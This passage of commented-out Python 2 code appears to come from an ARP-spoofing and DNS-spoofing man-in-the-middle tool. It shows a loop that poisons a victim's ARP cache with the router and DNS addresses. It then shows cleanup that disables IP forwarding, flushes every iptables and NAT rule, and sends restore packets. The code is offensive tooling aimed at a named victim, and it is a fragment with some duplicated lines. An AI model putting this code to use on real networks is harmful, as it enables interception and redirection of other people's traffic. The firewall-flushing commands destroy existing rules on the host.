# if not dnsIP == routerIP:
# Spoof().poison(dnsIP, victimIP, dnsMAC, victimMAC)
# Spoof().poison(routerIP, victimIP, routerMAC, victimMAC)
# time.sleep(1.5)
# except KeyboardInterrupt:
# print 'learing iptables, sending healing packets, and turning off IP forwarding...'
# if args.write:
# logger.close()
# if args.dnsspoof:
# q.unbind(socket.AF_INET)
# q.close()
# ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
# ipf.write('0\n')
# ipf.close()
# if dnsIP != routerIP:
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Spoof().restore(routerIP, dnsIP, routerMAC, dnsMAC)
# Popen(['iptables', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-F'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-X'], stdout=PIPE, stderr=DN)
# Popen(['iptables', '-t', 'nat', '-X'], stdout=PIPE, stderr=DN)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# Spoof().restore(routerIP, victimIP, routerMAC, victimMAC)
# exit(0)